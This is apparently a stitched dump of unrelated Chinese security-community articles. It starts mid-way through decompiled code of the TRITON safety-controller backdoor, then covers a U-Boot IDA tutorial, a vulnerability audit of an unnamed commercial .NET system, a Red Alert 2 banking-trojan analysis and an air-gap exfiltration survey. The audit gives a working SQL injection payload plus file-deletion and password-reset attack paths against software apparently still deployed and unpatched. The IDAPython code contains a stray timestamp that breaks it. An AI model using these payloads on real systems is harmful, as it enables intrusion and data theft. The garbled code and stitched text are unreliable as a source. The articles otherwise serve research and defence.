}
}
else
{
goto main_end;
}
}break;
}
switch_end:
arg->unknown_ui8_02 = 0x96;
arg->return_value = return_value;
tristation_mp_diagnostic_data_response();
}
// This most likely continues with the actual TriStation 'get main processor diagnostic data' handler
main_end:
jump(0x3A0B0);
}
void disable_address_translation(void)
{
mtpsr eid, r3; // External Interrupt Disable (EID) = r3
r4 = -0x40; // 11111111111111111111111111011000; Sets IR=0 (Instruction address translation is disabled), DR=1 (Data address translation is enabled)
mfmsr r3; // r3 = Machine State Register
r3 = r4 & r3; // Disable instruction address translation
mtmsr r3; // Machine State Register = r3
return;
}
void enable_address_translation(void)
{
r3 = 0xC000000; // 00001100000000000000000000000000; IC_CST CMD = 110 (Instruction cache invalidate all command)
mtspr ic_csr, r3; // Instruction Cache Control and Status Register = r3.
isync; // Synchronize context, flush instruction queue
mfmsr r3; // r3 = Machine State Register
r3 |= 0x30; // 110000; Sets IR=1 (Instruction address translation is enabled), DR=1 (Data address translation is enabled)
mtmsr r3; // Machine State Register = r3
sync; // Ordering to ensure all instructions initiated prior to the sync instruction complete and no subsequent ones initiate until synced
mtspr eie, r3; // External Interrupt Enable (EIE) = r3
return;
}
// This most likely retrieves the argument to the TriStation 'get main processor diagnostic data' command
void get_argument(void)
{
r3 = r31;
jump(0x6B9CC);
}
// This most likely sends a response to the TriStation 'get main processor diagnostic data' command
void tristation_mp_diagnostic_data_response(void)
{
r3 = r31;
jump(0x68F0C);
}
### 阶段4：缺失的OT攻击载荷
攻击者的目的是影响正常运营过程（比如通过网络攻击导致物理设备损坏），而不单单是关闭作业流程那么简单。为了实现这个目标，攻击者需要使用“OT攻击载荷”才能促成设备出现安全故障。前面我们提到过，这个事件中并没有恢复出OT攻击载荷。安全人员没有在被突破的工程工作站上找到OT载荷，这可能意味着攻击者在安全控制器后门植入测试过程通过后就已经释放了这个载荷。攻击者可能想在激活比较复杂的OT载荷之前，确保多个安全控制器已成功植入后门并处于正常运转状态。但还有一种可能，攻击者在控制器上植入后门时，可能还没有开发出合适的OT载荷。无论如何，在这种条件下我们只能去猜测攻击者的最终意图。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2019年11月29日 **
最近在研究IoT设备的过程中遇到一种情况。一个IoT设备，官方不提供固件包，网上也搜不到相关的固件包，所以我从flash中直接读取。因为系统是VxWorks，能看到flash布局，所以能很容易把uboot/firmware从flash中分解出来。对于firmware的部分前一半左右是通过lzma压缩，后面的一半，是相隔一定的区间有一部分有lzma压缩数据。而固件的符号信息就在这后半部分。因为不知道后半部分是通过什么格式和前半部分代码段一起放入内存的，所以对于我逆向产生了一定的阻碍。所以我就想着看看uboot的逻辑，但是uboot不能直接丢入ida中进行分析，所以有了这篇文章，分析uboot格式，如何使用ida分析uboot。
## uboot格式
正常的一个uboot格式应该如下所示：
$ binwalk bootimg.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 13648 0x3550 CRC32 polynomial table, big endian
14908 0x3A3C uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
14972 0x3A7C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes
而这uboot其实还得分为三部分：
1.从0x00 - 0x346C是属于bootstrap的部分
2.0x346C-0x34AC有0x40字节的uboot image的头部信息
3.从0x34AC到结尾才是uboot image的主体，经过lzma压缩后的结果
那么uboot是怎么生成的呢？Github上随便找了一个uboot源码:
<https://github.com/OnionIoT/uboot>，编译安装了一下，查看uboot的生成过程。
1.第一步，把bootstrap和uboot源码使用gcc编译成两个ELF程序，得到`bootstrap`和`uboot`
2.第二步，使用objcopy把两个文件分别转换成二进制流文件。
$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary bootstrap bootstrap.bin
$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary uboot uboot.bin
$ binwalk u-boot/bootstrap
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)
13776 0x35D0 CRC32 polynomial table, big endian
28826 0x709A Unix path: /uboot/u-boot/cpu/mips/start_bootstrap.S
$ binwalk u-boot/bootstrap.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 13648 0x3550 CRC32 polynomial table, big endian
$ binwalk u-boot/u-boot
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)
132160 0x20440 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"
132827 0x206DB HTML document header
133794 0x20AA2 HTML document footer
134619 0x20DDB HTML document header
135508 0x21154 HTML document footer
135607 0x211B7 HTML document header
137363 0x21893 HTML document footer
137463 0x218F7 HTML document header
138146 0x21BA2 HTML document footer
138247 0x21C07 HTML document header
139122 0x21F72 HTML document footer
139235 0x21FE3 HTML document header
139621 0x22165 HTML document footer
139632 0x22170 CRC32 polynomial table, big endian
179254 0x2BC36 Unix path: /uboot/u-boot/cpu/mips/start.S
$ binwalk u-boot/u-boot.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 132032 0x203C0 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"
132699 0x2065B HTML document header
133666 0x20A22 HTML document footer
134491 0x20D5B HTML document header
135380 0x210D4 HTML document footer
135479 0x21137 HTML document header
137235 0x21813 HTML document footer
137335 0x21877 HTML document header
138018 0x21B22 HTML document footer
138119 0x21B87 HTML document header
138994 0x21EF2 HTML document footer
139107 0x21F63 HTML document header
139493 0x220E5 HTML document footer
139504 0x220F0 CRC32 polynomial table, big endian
3.把u-boot.bin使用lzma算法压缩，得到u-boot.bin.lzma
$ binwalk u-boot/u-boot.bin.lzma
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes
4.使用mkimage，给u-boot.bin.lzma加上0x40字节的头部信息得到u-boot.lzming
$ binwalk u-boot/u-boot.lzimg
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
64 0x40 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes
5.最后把`bootstrap.bin`和`u-boot.lzming`合并到一起，然后根据需要uboot的实际大小，比如需要一个128k的uboot，在末尾使用`0xff`补齐到128k大小
## 使用ida处理bootstrap二进制流文件
在上面的结构中，需要注意几点：
1.`Data Address: 0x80010000, Entry Point: 0x80010000`
表示设备启动后，会把后续uboot通过lzma解压出来的数据存入内存地址0x80010000，然后把$pc设置为:
0x80010000，所以uboot最开头4字节肯定是指令。
2.`uncompressed size: 161184
bytes`，可以使用dd把LZMA数据单独取出来，然后使用lzma解压缩，解压缩后的大小要跟这个字段一样。如果还想确认解压缩的结果有没有问题，可以使用CRC算法验证。
接下来就是通过dd或者其他程序把二进制流从uboot中分离出来，再丢到ida中。先来看看bootstrap，首先指定相应的CPU类型，比如对于上例，则需要设置MIPS大端。
随后我们暂时设置一下起始地址为0x80010000，通电以后CPU第一个执行的地址默认情况下我们是不知道的，不同CPU有不同的起始地址。设置如下图所示：
bootstrap最开头也指令，所以按C转换成指令，如下图所示：
跳转到0x80010400, 随后是一段初始化代码，下一步我们需要确定程序基地址，因为是mips，所以我们可以根据$gp来判断基地址。
如上图所示，因为bootstrap的大小为0x3a3c bytes，所以可以初步估计基地址为`0x9f000000`，所以下面修改一下基地址：
并且修改在`Options -> General -> Analysis -> Processor specific
......`设置`$gp=0x9F0039A0`
`0x9F0039A0`地址开始属于got表的范围，存储的是函数地址，所以把`0x9F0039A0`地址往后的数据都转成word:
到此就处理完毕了，后面就是存逆向的工作了，具体bootstrap代码都做了什么，不是本文的重点，所以暂不管。
## 使用ida处理uboot流文件
处理bootstrap，我们再看看uboot，和上面的处理思路大致相同。
1.使用dd或其他程序，把uboot数据先分离出来。 2.使用lzma解压缩
3.丢到ida，设置CPU类型，设置基地址，因为uboot头部有明确定义基地址为0x80010000，所以不用再自己判断基地址 4.同样把第一句设置为指令
正常情况下，uboot都是这种格式，0x80010008为got表指针，也是$gp的值。
5.根据0x80010008的值，去设置$gp 6.处理got表，该地址往后基本都是函数指针和少部分的字符串指针。结尾还有uboot命令的结构体。
到此uboot也算基础处理完了，后续也都是逆向的工作了，也不是本文的关注的内容。
## 编写idapython自动处理uboot
拿uboot的处理流程进行举例，使用Python编写一个ida插件，自动处理uboot二进制流文件。
1.我们把0x80010000设置为__start函数
idc.add_func(0x80010000)
idc.set_name(0x80010000, "__start")
2.0x80010008是got表指针，因为我们处理了0x80010000，所以got表指针地址也被自动翻译成了代码，我们需要改成word格式。
idc.del_items(0x80010008)
idc.MakeDword(0x80010008)
got_ptr = idc.Dword(0x80010008)
idc.set_name(idc.Dword(0x80010008), ".got.ptr")
3.把got表都转成Word格式，如果是字符串指针，在注释中体现出来
def got():
assert(got_ptr)
for address in range(got_ptr, end_addr, 4):
value = idc.Dword(address)
if value == 0xFFFFFFFF:2019-12-03 15:36:56 星期二
break
idc.MakeDword(address)
idaapi.autoWait()
if idc.Dword(value) != 0xFFFFFFFF:
func_name = idc.get_func_name(value)
if not idc.get_func_name(value):
idc.create_strlit(value, idc.BADADDR)
else:
funcs.append(func_name)
基本都这里就ok了，后面还可以加一些.text段信息，但不是必要的，最后的源码如下：
#!/usr/bin/env python
# -*- coding=utf-8 -*-
import idc
import idaapi
class Anlysis:
def __init__(self):
self.start_addr = idc.MinEA()
self.end_addr = idc.MaxEA()
self.funcs = []
def uboot_header(self):
idc.add_func(self.start_addr)
idc.set_name(self.start_addr, "__start")
idc.del_items(self.start_addr + 0x8)
idc.MakeDword(self.start_addr + 0x8)
self.got_ptr = idc.Dword(self.start_addr+8)
idc.set_name(idc.Dword(self.start_addr+8), ".got.ptr")
def got(self):
assert(self.got_ptr)
for address in range(self.got_ptr, self.end_addr, 4):
value = idc.Dword(address)
if value == 0xFFFFFFFF:
break
idc.MakeDword(address)
idaapi.autoWait()
if idc.Dword(value) != 0xFFFFFFFF:
func_name = idc.get_func_name(value)
if not idc.get_func_name(value):
idc.create_strlit(value, idc.BADADDR)
else:
self.funcs.append(func_name)
def get_max_text_addr(self):
assert(self.funcs)
max_addr = 0
for func_name in self.funcs:
addr = idc.get_name_ea_simple(func_name)
end_addr = idc.find_func_end(addr)
if end_addr > max_addr:
max_addr = end_addr
if max_addr % 0x10 == 0:
self.max_text_addr = max_addr
else:
self.max_text_addr = max_addr + 0x10 - (max_addr % 0x10)
def add_segment(self, start, end, name, type_):
segment = idaapi.segment_t()
segment.startEA = start
segment.endEA = end
segment.bitness = 1
idaapi.add_segm_ex(segment, name, type_, idaapi.ADDSEG_SPARSE | idaapi.ADDSEG_OR_DIE)
def start(self):
# text seg
self.uboot_header()
self.got()
self.get_max_text_addr()
self.add_segment(self.start_addr, self.max_text_addr, ".text", "CODE")
# end
idc.jumpto(self.start_addr)
if __name__ == "__main__":
print("Hello World")
* * * | 社区文章 |
* 概述
这系统是二、三月份的时候朋友发我的，叫我审计一下，大概看了一下漏洞挺多的，引擎搜索了一下发现没人报出来，但应该不少人知道了，以为只是一个小型的系统，但没想到关键字一查有1W多个，算中型了，由于是收费的系统，不好透露，怕厂商警告，这里简单分享一下漏洞点，原理，审计的思路，小白解说，第一次写文章，没啥技术含量，可能写的并不是很好希望大佬们给指点一下哈哈，废话不多说，进入正题。
* 任意文件删除
在Ajax/upload.ashx中，可以看到没啥其他代码，直接简单粗暴引用了DLL文件程序。
我们这里直接跟进bin目录下的DLL文件，用ILSpy反汇编出来，看看有那些功能项
然后直接中奖，其中的Name值，没有任何过滤，直接通过context.Request["name"]取值，然后判断文件是否存在，存在则直接删除，并且没有做任何的权限限制，导致我们可以直接前台传值引用，造成任意文件删除。
* Sql注入，任意文件下载。
在Ajax/upload.ashx中，这里文件下载，是通过查询数据库，判断文件是否存在，如果存在就下载，但是str的传值，没有经过任何过滤，通过context.Request["trueFileName"]传值进去，我们只需要根据action构造出相应的类，然后传入值即可造成Sql注入。
构造trueFileName=1' and (select
@@version)>0--，成功返回数据库版本，顺便报错绝对路径，然后根据绝对路径，删除任意文件。
这里也应该可以构造MSSQL语句，把字符串../../../../+你要的文件，写入数据库中的FileSaveName，然后自定义这里dataSource.Rows[0]["FileSaveName"]返回的值，从而造成任意文件下载，不过有点麻烦，这里就不贴出来了（学艺不精，辣鸡小白）。
* Sql注入（2）
在Ajax/upload.ashx中，str通过context.Request.QueryString["FID"]传值，然后赋值到Sql语句里面，跟上面一样，造成Sql注入，这里就不多说啥了，确实漏洞多，换个点继续撸,上传类粗略的看完他类。
* Sql注入（3）
在Ajax/AjaxMethod.ashx中，通过context.Request["Name"];获取值，然后bool flag5 = !(new
CreatePageManager().GetEmpByName(text2) == "0");，接着跟进一下
public string GetEmpByName(string empname)
{
return new CreatePageDao().GetEmpByName(empname);
}
在接着跟进一下
public string GetEmpByName(string LoginUser)
{
string result = string.Empty;
string sqlStr = string.Format("SELECT count(*) FROM bfEMP WHERE upper(LoginUser)='{0}'", LoginUser.ToUpper());
DataTable dataSource = this.GetDataSource(sqlStr);
bool flag = dataSource != null && dataSource.Rows.Count > 0;
if (flag)
{
result = dataSource.Rows[0][0].ToString();
}
return result;
}
我们根据代码构造action，然后传入name值，这里拐了几个弯，但是.NET的程序算起来，利用ILSpay溯源跟踪还是蛮容易的，单击就可以自动追踪到类的位置，其他地方Sql注入也还有，挺多的，但是不想看了，因为这个开发有问题，很多地方都是直接传进去，只有少数地方使用了参数化传值，大部分地方都是直接使用sql字符串拼接，也不验证数据类型，我看着代码都心累，其他还有一些漏洞，但是
* 密码重置sql注入（4）
在目录下的initpwd.aspx文件中，本来想看看又没有密码重置漏洞，但一看没找到啥，也可能是我技术不太行，又找到个注入，这里的string text15
= cookieValue;是通过GetCookieValue取值，然后直接使用Sql字符串进行拼接，然后跟到GetCookieValue
public static string GetCookieValue(string key)
{
bool flag = HttpContext.Current != null;
string result;
if (flag)
{
HttpCookie httpCookie = HttpContext.Current.Request.Cookies["UserCookie"];
try
{
string text = "";
bool flag2 = httpCookie != null;
if (flag2)
{
Hashtable hashtable = JsonConvert.DeserializeObject(httpCookie.Value, typeof(Hashtable)) as Hashtable;
bool flag3 = hashtable != null && hashtable.ContainsKey(key);
if (flag3)
{
text = hashtable[key].ToString();
}
}
result = text;
return result;
}
catch (Exception ex)
{
UserCookie.WriteLog("cookie err:" + ex.Message, "ddSaas");
result = "";
return result;
}
}
result = "";
return result;
}
发现是通过Json的形式，在客服端保存的cookie，取值的时候是直接取值的，我们只需要修改cookie中的值，就可以造成sql注入，这里应该可以直接构造Sql语句，使返回为为真，然后任意重置用户的账号密码。 | 社区文章 |
# 【技术分享】Red Alert 2:不会用新技术的银行木马不是好程序
|
##### 译文声明
本文是翻译文章，文章来源：phishlabs.com
原文地址：<https://info.phishlabs.com/blog/redalert2-mobile-banking-trojan-actively-updating-its-techniques>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
自上周开始，Android银行木马程序[Red Alert
2](https://clientsidedetection.com/new_android_trojan_targeting_over_60_banks_and_social_apps.html)受到了相当多的关注。引发广大吃瓜群众围观的原因可能大家已经知道了，这个木马程序的代码库看起来是全新的，而且木马的部分功能也很独特。PhishLabs情报分析研究部门(R.A.I.D)最近发现了一个Red
Alert 2的新样本，这个样本与以前的样本相比，在策略、技术和程序上都有进行修改。那么我们在对这些变化分析之前，先对Red Alert
2的一些有趣的功能进行回顾。
**旧物换新颜**
****
Red Alert 2与现有Android银行木马在功能上有很多共同点。Red Alert
2在后台运行，监视应用程序的活动，当检测到目标相关的活动时，会在设备屏幕上覆盖钓鱼页面。除了之外，它还会窃取系统信息，窃取用户数据，包括联系人、短信、通话记录、窃听或拦截短信/通话，发送短信和USSD请求，以及启动其他应用程序。
图1 指令表
Red Alert 2的独特之处在于，与很多现有的Android银行木马不同，Red Alert
2似乎并不是像BankBot或AceCard一样，是源代码泄露的银行木马的变体，它是全新的。除此之外，它在任务上也与其他的Android木马不同：确定前台应用，更新C&C服务器，获取配置数据。
**1、确定正在运行的应用**
****
Android银行木马最重要的任务之一就是确定当前在前台运行的应用程序是什么。这个很关键的任务可以帮助银行木马选择基于包名的合适的覆盖层。从一些过去的报告可以看到，银行木马使用过ActivityManager类的getrunningtasks或getrecenttasks方法来确定运行中的应用程序。但是，从Android
Lollipop（API Level 21）开始，这些方法已被弃用。所以，这种技术对于Android 5.0和更高版本的设备不适用。为了解决这一问题，Red
Alert 2的作者利用了Android
Toolbox(一组Linux命令行程序)，以确定当前正在运行的应用程序。图2中的注释显示了用于确定当前运行的应用程序的控制流，图3显示了使用Android
Toolbox的代码片段。
图2 确定正在运行的应用
图3 Android Toolbox调用
值得注意的是，对于API Level 20，Android Wear设备独有的KitKat 4.4W，Red Alert
2要使用UsageStatsManager来确定当前运行的应用程序。 这也就可以解释为什么这款木马需要PACKAGE_USAGE_STATS权限。
方然，这也是很有意思的了，木马开发人员居然为这些Android Wear设备做了特定的调整。
图4 Android 4.4w usagestatsmanager方法
**2、更新C &C服务器**
长期以来，聊天客户端和社交媒体一直被用于桌面恶意软件的命令和控制，但这些技术尚未广泛应用于移动领域。而Red Alert
2通过利用twitter来更新C&C服务器，将上述技术移植到了移动领域。在刚开始传输的过程中，C&C服务器为在应用的resources中指定的样本服务，如下图5所示：
图5 应用Resources中的基础配置数据
如果该C&C服务器脱机了，那么样本将计算一个Twitter用户名并查询该帐户的帖子，以检索更新的C2。图6中所示代码片段的代码检查了该帐户的推文，并使用正则表达式来确认推文是否为一个IP地址，格式为4个字节，前两个和最后两个字节由一个空格分隔。这种推文的内容可能是像“10.19
142.7”这种的。IP一旦确认后，这个IP地址将被重新构建，添加HTTP协议，添加端口8060，然后将其保存为样本的新的C&C服务器。
图6 Twitter C&C服务器更新代码
**3、获取配置数据**
很多Android银行木马将其配置信息硬编码到APK中，或者在安装完成后从C&C服务器下载配置文件。为了避免成为安全研究人员的目标，Red Alert
2利用了“Go Fish”的方法传输配置文件。所有配置数据都存储在C&C服务器上，只有设备“证明”设备中已经安装了目标应用，才会向受感染的设备传输配置文件。
安装后，Red Alert 2利用一个Bot
ID来跟踪设备的感染情况，并与C&C服务器通信。然后，受感染的设备将设备中安装的应用程序列表发送到C2。图7展示了一个受感染的设备向C&C服务器发送POST请求。这里base64编码的数据包含了一个已安装应用列表。C&C服务器在接收到已安装程序列表后，响应与已安装应用对应的目标应用的列表。并提供与已安装的目标应用对应的覆盖层HTML代码。该代码保存在设备存储中，当木马检测到目标应用程序在前台运行时才会显示。这个木马的完整配置数据从未提供给受感染的设备，这使得分析非常艰难。
图7 发送给C2服务器的已安装程序列表
**持续发展态势**
****
正如文章开头所提到的，PhishLabs R.A.I.D.团队最近观察到新的样本在策略、技术和程序方面都有改变，这些手段与最初版本Red Alert
2的分析报告中的样本有关。
**1、目标**
R.A.I.D.对Red Alert
2的最初样本进行了分析。经过分析，我们观察到，该样本的目标是某些金融机构、社交媒体网站、支付网站和零售业务。如前文所述，在没有直接访问C&C的情况下，想要获取目标应用程序的完整列表具有挑战性;然后，我们采取了新的手段，对每一个初始样本进行64个目标程序检测。而最新的样本的目标高达66个，其中有4个目标被移除，6个目标被新添加。被移除的目标包括：西太平洋银行、圣乔治银行、Skype和阿尔斯特银行。新增的目标包括五家俄罗斯银行和Uber。新的目标应用程序详见表1。图8显示了针对新目标Tinkoff银行的覆盖页面。
表1 新版本Red Alert 2的新目标
图8 Tinkoff银行覆盖层
Red Alert 2已经成为目标分布地理多样化的移动银行木马之一。以往情况下，银行木马会针对自己熟悉的领域，制定相应的木马，但是Red Alert
2一点也不按照套路出牌，它的胃口也是特别的大，不先定个小目标，直接想搞全球化。图9展示了Red Alert 2的目标地理分布图。
图9 根据目标国家分布的数量统计
**2、基于域名的C2和Cloudflare**
这个新样本，是我们团队观察到的第一个不利用硬编码的IP地址，而利用域名进行命令控制的样本。其实，用不用域名进行命令和控制不重要，但是它打开了使用像CloudFlare这样的CND代理的窗口。我们本文中分析的这个样本就是这么做的，选择了一个带有CloudFlare服务的a.club的域名(我们已经向CloudFlare报告了此事)。进而，利用CloudFlare提供的服务，及多项保护措施，包括反机器人措施和C2服务器真实IP混淆等。这些反机器人措施对安全研究人员的自动分析造成了很大的困扰，C2的IP混淆也让分析人员无法成功定位。
图10 Cloudflare代理背后的C2域名
**3、服务器端目标标识符**
另一个观察到的变化，是一个很小的改动，是用于从C&C服务器获取覆盖层的惟一标识符的更改。受感染的设备提供给C&C服务器已安装程序列表后，服务器会响应一个应用程序列表以及其对应的唯一ID。接下来，包含这个唯一ID的设备会发送POST请求提示C&C服务器返回响应的覆盖页面HTML代码。在Red
Alert 2的初始版本中，这个惟一的ID是一个十六进制字符串，如图11所示。
图11 十六进制唯一ID
在最近的样本中，这个惟一标识符被修改为解码后为目标包名称的base64编码的字符串。在某些情况下，会请求第二个屏幕覆盖层，这个时候，唯一标识符是包名和数字2加在一起。这种新格式如图12所示。
图12 新型base64编码的惟一ID
**总结**
****
虽然这些变化在本质上都不是特别大，但这也说明了Red Alert
2的幕后黑手一直在“积极”运作试图开发出更加“完美”的银行木马。其短期内更新的目标更是显示了快速扩展木马的能力。最终，我们希望Red Alert
2的开发者能够对木马进行更加良好的优化，以保持在日益饱和的移动银行木马市场上保持较高水平的态势。
最后，样本信息及样本分析可在Janus查看，点击这里。
或检索SHA256：
**05888c0f55d23c8c4f3b1ad0fe478c3d1610449f45abb9247f59563ac12ff82c** | 社区文章 |
# 通过发热量、辐射、风扇噪声等入侵物理隔离网络案例（9月6日更新全部视频）
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute
原文地址：<http://resources.infosecinstitute.com/hacking-air-gapped-networks/>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**前言**
物理隔离系统其实并不是百分之百安全的，因为现在有很多种方法能够允许攻击者从一台没有联网的计算机中窃取信息。每一种技术的实现方式是不一样的，而且每一种技术在进行信息提取的时候所依赖的载体也不同，有的利用的是噪音，有的则利用的是电磁波。
值得注意的是，攻击者同样可以使用这些方法来从一台接入了网络的设备中窃取信息。因为很多网络系统为了防止敏感信息被盗，会对进出系统的网络流量进行严格的把控，这时候攻击者就可以利用本文即将介绍的技术来从这些系统中提取数据了。
**一、利用设备发热量入侵未联网的PC（BitWhisper攻击）**
在2015年3月份，来自以色列本古里安大学的安全研究人员（Mordechai Guri， Matan Munitz和Yuval
Elovici教授）设计出了一种能够从物理隔离系统中窃取数据的方法。这种方法能够帮助攻击者与目标系统建立一条隐蔽的通讯信道，并可以通过检测计算机的发热量来窃取信息。
这项新型的攻击技术名为BitWhisper，攻击者可以利用这项技术来窃取类似加密密钥这样的敏感信息。BitWhisper技术可以利用计算机内部各个组件的发热量来在两台计算机之间建立一条双向通信信道。安全专家解释称，如果要从一台物理隔离的计算机中窃取信息，攻击者首先要感染另一台同样处于该物理隔离系统中的计算机。值得注意的是，通过BitWhisper技术所建立的隐蔽信道还可以用来发送控制命令，并帮助攻击者窃取敏感数据。虽然BitWhisper攻击非常的复杂，但是有趣的地方就在于我们无需对硬件做任何的修改。
这种处于概念验证阶段的攻击手法要求两台计算机都要预先植入恶意软件。不仅如此，目前这项技术的数据传输速率也低得可怜，一个小时仅能传输八位数据。话虽如此，但是用来发送简单的控制命令或者窃取密码已经足够了。还有一个限制因素，就是两台计算机的间距不能离得太远（40厘米以内）。实际上，这也并不能算它的一个缺点。因为在现实中，物理隔离系统往往就放在联网机器旁边。目前的成果仅是这项研究的第一阶段，研究人员下一步打算增加物理隔离系统与控制主机的距离，并提高数据传输速率。
我们都知道，计算机需要处理的数据量越大，设备的发热量也会随之升高。为了实时监控温度，计算机往往内置了许多热传感器，一旦发现机器变热即会触发散热风扇对系统进行散热处理，甚至在必要时关闭计算机以避免硬件造成损害。
研究者正是利用这些热传感器来发送指令给气隙系统或者从中获取数据。实际上整个过程跟摩斯密码有点类似，发送方系统可以利用受控设备的温度升降来与接收方系统进行通信，然后后者可以利用内置的热传感器侦测出温度的变化，再将变化转译成0和1这样的二进制代码。
举个例子，在下方给出的演示视频中，安全研究人员在预设的时间内将发送方系统的放热提高了1度，而接收方系统（气隙系统）由于离发送方系统比较近，所以温度也会升高，其热传感器检测到了1度的升温后，就知道发送方发过来了“1”；反之，发送方也可以通过降温1度的方式来传送“0”。如此反复几次，发送方就能够将控制命令以二进制数据的方式传送给目标物理隔离系统了。至此，大家可以设想一下，如果攻击者通过这种手段来攻击导弹发射系统，然后变更了敌方导弹的发射方向，其后果将是致命的。
BitWhisper技术的演示视频：［[点我观看](http://v.youku.com/v_show/id_XMTcxNDg5OTM4MA==.html?beta&#paction)］
**二、通过无线电波窃取加密密钥**
在此之前，安全研究专家[Daniel
Genkin](http://securityaffairs.co/wordpress/20637/hacking/acoustic-cryptanalysis-attack.html)和他的同事们设计出了一种能够从物理隔离的计算机中提取数据的方法。由于在计算机解密数据的过程中，CPU会发出特定的噪声，所以他们便可以通过分析CPU所发出的声音来提取出有价值的信息。
现在，来自以色列特拉维夫大学的安全研究人员Lev Pachmanov、 Itamar Pipman和Eran Tromer在[Daniel
Genkin](http://securityaffairs.co/wordpress/20637/hacking/acoustic-cryptanalysis-attack.html)所做研究的基础上，结合计算机解密过程中会产生CPU噪声的研究结论，演示了如何通过分析计算机所发出的无线电波窃取加密密钥。除此之外，Genkin还演示了破解4096位RSA密码的方法。
研究报告表明，电脑所发射的无线电波将会意外泄漏加密密钥，而利用廉价的消费级设备就可以从无线电波中提取出泄漏的密钥。为了证明这一理论，安全研究专家对系统在解密指定密文时所产生的电磁信号进行了分析。结果证明，在短短的几秒内，研究人员就成功地提取到了笔记本上的GnuPG软件私有解密密钥。在这次实验过程中，研究人员使用Funcube
Dongle Pro+测量了在1.6至1.75 MHz频率之间的电磁信号，其中Funcube Dongle
Pro+与一个安装了Android系统的嵌入式计算机Rikomagic MK802 IV相连接。
安全研究人员表示：“我们已经从运行了GnuPG软件的各种不同型号的笔记本中成功地提取到了密钥，而且整个过程仅需要几秒钟的时间。在攻击的过程中，我们向目标设备发送了一段经过精心设计的密文，当目标计算机在解密这些密文的时候，它们便会触发解密软件内部某些特殊结构的值。这些特殊值会导致笔记本电脑周围的电磁场发生比较明显的变化，而攻击者则可以直接从这些电磁场波动中通过信号处理和密码分析技术推导出密钥。”
实际上，早在好几年以前就已经有安全研究专家提出了“利用电磁辐射来窃取计算机中的加密密钥”这种设想了，但是要实现这种攻击其实并不容易。
电脑附近的任何电子设备都可以接收到无线电波信号，例如将你的手机靠近电脑的音响，你就会听到音响发出的一些“滋滋”声。这种攻击的关键点在于攻击距离的远近，如果能在距离十米左右的另外一间房子里发起攻击，那么这种攻击的杀伤力将会非常恐怖。如果需要在20厘米之内才能发动攻击，那么这种攻击的危险性将会降低很多。
尽管技术上可以实现，但研究人员的实验证明，想要在现实生活中使用这种攻击技术的话，目前仍然比较困难。因为计算机通常会同时执行多个任务，这就使得分析计算机中某一特定活动所产生的电磁信号难度大幅增加。
**三、通过智能手机入侵物理隔离网络**
几乎每一个对信息安全要求很高的工作环境都会有严格的安全保护措施，而物理隔离系统则更是常见。不仅如此，很多公司甚至还会禁止员工在公司内使用任何形式的USB设备。而且当工作需要涉及到类似商业机密这样的敏感信息时，某些公司的安全政策还会禁止员工在工作期间携带自己的智能手机。
那么如何才能入侵一台极其安全的未联网计算机呢？其实你可能会感到惊讶，因为你并不需要任何的技术或者设备就可以实现。实际上，一台普通的智能手机就可以帮助你成功入侵一台物理隔离计算机。
一群来自以色列的安全研究专家们设计出了一种新的攻击方法，这种方法可以从一台安全系数非常高的未联网计算机中窃取数据。所需的工具只有三样：GSM网络、一台普通的智能手机、以及电磁波。
这个有趣的研究项目由安全专家Moradechai Guri牵头，参与了该项目的安全研究人员还有Gabi Kedma，Yisroel Mirsky，Ofer
Hasson，Assaf Kachlon和Yuval
Elovici。他们在实验的过程中，使用了一台摩托罗拉C123手机来进行攻击，并且在目标计算机和手机中都安装了恶意软件。由于计算机在处理或发送数据的过程中，通常都会向外发射出电磁波信号，所以研究人员就可以通过他们所开发出的恶意软件来捕获这些无线电波，并从中提取出数据。
但是这也意味着，攻击者如果想要从一台被隔离的计算机中窃取数据的话，那么他必须先在这台目标计算机中安装恶意软件。
**四、通过声波来远程窃取物理隔离网络中的数据（Funtenna攻击）**
另外一种能够从物理隔离系统中窃取数据的方法是通过声波来实现的。在2015年Black
Hat黑客大会上，安全研究人员展示了一种新型的黑客技术－“Funtenna”。
在Funtenna技术的帮助下，研究人员可以通过声波来窃取存储在物理隔离计算机中的数据。除了无需连网之外，这种技术还可以躲避网络流量监控和服务器防火墙等安全防护措施的检测。
那么这种利用声波来窃取电脑数据的方法是否可行呢？事实上，Funtenna技术的诞生就已经证明了这种攻击方法的可行性。
